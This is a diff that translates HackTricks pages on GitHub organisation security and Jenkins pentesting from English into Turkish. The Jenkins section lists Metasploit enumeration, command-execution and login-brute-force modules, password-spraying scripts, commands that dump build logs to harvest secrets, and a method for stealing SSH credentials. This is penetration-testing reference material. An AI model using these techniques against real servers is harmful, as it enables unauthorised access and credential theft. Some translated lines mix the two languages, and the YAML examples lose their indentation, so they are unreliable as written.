+- **Yazma**: Projenize **aktif olarak katkıda bulunanlar** için önerilir.
+- **Sürdürme**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir.
+- **Yönetici**: **Proje üzerinde tam erişime** ihtiyaç duyan kişiler için önerilir; bu, güvenliği yönetmek veya bir depoyu silmek gibi hassas ve yıkıcı eylemleri içerir.
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+Ayrıca _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**.
-### Teams
+### Takımlar
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Bir organizasyonda oluşturulan **takımları listeleyebilirsiniz** _https://github.com/orgs/\/teams_ adresinde. Diğer takımların alt takımlarını görmek için her bir ana takıma erişmeniz gerektiğini unutmayın.
-### Users
+### Kullanıcılar
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+Bir organizasyonun kullanıcıları _https://github.com/orgs/\/people_ adresinde **listelenebilir**.
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+Her kullanıcının bilgileri içinde, **kullanıcının üyesi olduğu takımlar** ve **kullanıcının erişim sağladığı depolar** görülebilir.
-## Github Authentication
+## Github Kimlik Doğrulaması
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github, hesabınıza kimlik doğrulamak ve sizin adınıza işlemler gerçekleştirmek için farklı yollar sunar.
-### Web Access
+### Web Erişimi
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+**github.com** adresine erişerek **kullanıcı adınız ve şifreniz** (ve potansiyel olarak bir **2FA**) ile giriş yapabilirsiniz.
-### **SSH Keys**
+### **SSH Anahtarları**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **GPG Anahtarları**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmıyorsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir. Daha fazla bilgi için [dikkatli mod hakkında buradan öğrenin](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Personal Access Tokens**
+### **Kişisel Erişim Jetonları**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu oluştururken, **kullanıcı** **jetonun** sahip olacağı **izinleri** **belirtmelidir**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Oauth Uygulamaları
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Oauth uygulamaları, **github bilginizin bir kısmına erişim izni veya sizi taklit etme** izni isteyebilir. Bu işlevselliğin yaygın bir örneği, bazı platformlarda bulabileceğiniz **github ile giriş yap** butonudur.
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- Kendi **Oauth uygulamalarınızı** [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**.
+- Hesabınıza erişimi olan tüm **Oauth uygulamalarını** [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz.
+- Oauth Uygulamaların isteyebileceği **kapsamları** [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) adresinde görebilirsiniz.
+- Bir **organizasyondaki** uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\/settings/oauth_application_policy_ adresinde görebilirsiniz.
-Some **security recommendations**:
+Bazı **güvenlik önerileri**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı olarak hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır.
+- Bir OAuth Uygulaması, kimlik doğrulaması yapılmış kullanıcı için "GitHub ile Giriş Yap" özelliğini etkinleştirerek bir kimlik sağlayıcı olarak kullanılabilir.
+- **Tek bir depo** üzerinde hareket etmesini istiyorsanız bir **OAuth Uygulaması** oluşturmayın. `repo` OAuth kapsamı ile, OAuth Uygulamaları **kimlik doğrulaması yapılmış kullanıcının tüm** depolarında **hareket edebilir**.
+- **Takımınız veya şirketiniz için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması** oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka hiç kimse buna erişemez.
+- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) ulaşabilirsiniz.
-### Github Applications
+### Github Uygulamaları
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Github uygulamaları, **github bilginize erişim sağlamak veya sizi taklit etmek** için izin isteyebilir. Github Uygulamalarında, uygulamanın erişim sağlayacağı depoları belirtmeniz gerekir.
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- Bir GitHub Uygulaması yüklemek için, **organizasyon sahibi olmalı veya bir depoda yönetici izinlerine sahip olmalısınız**.
+- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
+- Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz.
+- Hesabınıza erişimi olan tüm **Github uygulamalarını** [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
+- İşte **Github Uygulamaları için API Uç Noktaları** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak, bunlardan bazılarına erişim sağlayabilecektir.
+- Bir **organizasyondaki** yüklü uygulamaları _https://github.com/organizations/\/settings/installations_ adresinde görebilirsiniz.
-Some security recommendations:
+Bazı güvenlik önerileri:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Bir GitHub Uygulaması, **bir kullanıcıdan bağımsız olarak eylemler gerçekleştirmelidir** (uygulama [kullanıcıdan sunucuya](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) jetonu kullanmıyorsa). Kullanıcıdan sunucuya erişim jetonlarını daha güvenli hale getirmek için, 8 saat sonra süresi dolacak erişim jetonları ve yeni bir erişim jetonu için değiştirilebilecek bir yenileme jetonu kullanabilirsiniz. Daha fazla bilgi için "[Kullanıcıdan sunucuya erişim jetonlarını yenileme](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" kısmına bakın.
+- GitHub Uygulamasının **belirli depolarla entegre olduğundan emin olun**.
+- GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**.
+- GitHub Uygulamasının, bir kullanıcının yapabileceği her şeyi bilmesini ve yapmasını beklemeyin.
+- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _ve_ diğer şeyleri oturum açtırmak için bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
+- Sadece bir GitHub kullanıcısı olarak hareket etmek ve o kullanıcının yapabileceği her şeyi yapmak istiyorsanız bir GitHub Uygulaması oluşturmayın.
+- GitHub Actions ile uygulamanızı kullanıyorsanız ve iş akışı dosyalarını değiştirmek istiyorsanız, `workflow` kapsamını içeren bir OAuth jetonu ile kullanıcı adına kimlik doğrulaması yapmalısınız. Kullanıcının iş akışı dosyasını içeren depoda yönetici veya yazma iznine sahip olması gerekir. Daha fazla bilgi için "[OAuth uygulamaları için kapsamları anlama](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" kısmına bakın.
+- **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) ulaşabilirsiniz.
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+Bu, **github'da kimlik doğrulama yapmanın bir yolu değildir**, ancak **kötü niyetli** bir Github Action, **github'a yetkisiz erişim** elde edebilir ve **verilen** **ayrıcalıklara** bağlı olarak çeşitli **farklı saldırılar** gerçekleştirilebilir. Daha fazla bilgi için aşağıya bakın.
-## Git Actions
+## Git Eylemleri
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeye** olanak tanır. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek).
-### Configuration
+### Yapılandırma
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+_https://github.com/organizations/\/settings/actions_ adresinde, organizasyon için **github eylemlerinin yapılandırmasını** kontrol etmek mümkündür.
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Github eylemlerinin kullanımını tamamen yasaklamak, **tüm github eylemlerine izin vermek** veya yalnızca belirli eylemlere izin vermek mümkündür.
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+Ayrıca, bir Github Eylemi çalıştırmak için **kimin onayına ihtiyaç duyduğunu** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür.
-### Git Secrets
+### Git Gizli Bilgileri
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Github Eylemleri genellikle github veya üçüncü taraf uygulamalarla etkileşimde bulunmak için bazı gizli bilgilere ihtiyaç duyar. **Gizli bilgileri açık metin olarak** depoya koymaktan kaçınmak için, github bunları **Gizli Bilgiler** olarak koymanıza izin verir.
+Bu gizli bilgiler, **depo veya tüm organizasyon için** yapılandırılabilir. Daha sonra, **Eylemin gizli bilgiye erişebilmesi için** bunu şu şekilde belirtmeniz gerekir:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Örnek Bash Kullanımı
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Gizli bilgiler **yalnızca bunları tanımlayan Github Actions'tan erişilebilir**.
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**.
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+Bu nedenle, **github gizli bilgilerini çalmanın tek yolu, Github Action'ı yürüten makineye erişim sağlamaktır** (bu senaryoda yalnızca Action için tanımlanan gizli bilgilere erişebileceksiniz).
-### Git Environments
-
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
+### Git Ortamları
+Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şeyle erişim verebilirsiniz:
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
@@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..babd18009 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,312 +1,292 @@
-# Jenkins Security
+# Jenkins Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhangi** bir kombinasyonu için **sürekli entegrasyon** veya **sürekli teslimat** (CI/CD) ortamı oluşturmanın basit bir yolunu sunan bir araçtır. Ayrıca, çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, **bireysel adımlar için betikler oluşturma ihtiyacını** ortadan kaldırmasa da, tüm derleme, test ve dağıtım araçları dizisini entegre etmenin daha hızlı ve daha sağlam bir yolunu sağlar.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## Kimlik Doğrulamasız Sayım
+Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+Kullanıcı doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin:
```
msf> use auxiliary/scanner/http/jenkins_command
```
-
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
+Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **kullanıcı adları**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
.png>)
-### Known Vulnerabilities
+### Bilinen Güvenlik Açıkları
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## Giriş
-In the basic information you can check **all the ways to login inside Jenkins**:
+In the basic information you can check **Jenkins'e giriş yapmanın tüm yolları**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### Kayıt
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+You will be able to find Jenkins instances that **hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
-### **SSO Login**
+### **SSO Girişi**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Also if **SSO** **işlevselliği**/**eklentileri** were present then you should attempt to **giriş yapmak** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
-
+**Jenkins** lacks **şifre politikası** and **kullanıcı adı brute-force önlemesi**. It's essential to **brute-force** users since **zayıf şifreler** or **kullanıcı adları şifre olarak** may be in use, even **ters kullanıcı adları şifre olarak**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
+### Şifre Spraying
-### Password spraying
+[Bu python betiğini](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) veya [bu powershell betiğini](https://github.com/chryzsh/JenkinsPasswordSpray) kullanın.
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+### IP Beyaz Liste Bypass
-### IP Whitelisting Bypass
+Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol satıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için.
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+Bunu başarmak için, organizasyonlar **SCM platformlarının** **IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini unutmamak önemlidir; bu da **iç CI sistemine** istek gönderebilir.
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+Kontrol edin: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+## İç Jenkins Suistimalleri
-## Internal Jenkins Abuses
-
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+Bu senaryolarda Jenkins'e erişim için geçerli bir hesabınız olduğunu varsayacağız.
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz**.
-For more information check the basic information:
+Daha fazla bilgi için temel bilgileri kontrol edin:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### Kullanıcıları Listeleme
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) adresinde diğer kayıtlı kullanıcıları listeleyebilirsiniz.
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme
+Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [bu betiği](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **SSH Kimlik Bilgilerini Çalma**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+Eğer ele geçirilen kullanıcının **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkisi varsa** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+Jenkins ssh kimlik bilgilerini genellikle **global sağlayıcıda** (`/credentials/`) bulabilirsiniz, bu nedenle diğer gizli bilgileri dökme şeklinizle bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bölümüne bakın.
-### **RCE in Jenkins**
+### **Jenkins'te RCE**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** fırsatı verir veya hatta **bulut kimlik bilgilerini toplama** imkanı sağlar.
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir.
-### **RCE Creating/Modifying a project**
+### **Proje Oluşturma/Değiştirme ile RCE**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+Proje oluşturma/değiştirme, Jenkins sunucusunda RCE elde etmenin bir yoludur:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **Groovy Script Çalıştırarak RCE**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script çalıştırarak RCE elde edebilirsiniz:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### Pipeline Oluşturma/Değiştirme ile RCE
-You can also get **RCE by creating/modifying a pipeline**:
+Ayrıca **pipeline oluşturarak/değiştirerek RCE elde edebilirsiniz**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## Pipeline İstismarı
-To exploit pipelines you still need to have access to Jenkins.
+Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir.
-### Build Pipelines
+### Build Pipeline'ları
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda **depo içinde** pipeline sözdizimini içeren bir **dosya** yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır.
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+Eğer bir saldırganın **o dosya üzerinde yazma erişimi** varsa, onu **değiştirebilir** ve **potansiyel olarak** pipeline'ı tetikleyebilir, hatta Jenkins'e erişimi olmadan bile.\
+Saldırganın bazı dal korumalarını **aşması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak bunlar aşılabilir veya aşılamayabilir).
-The most common triggers to execute a custom pipeline are:
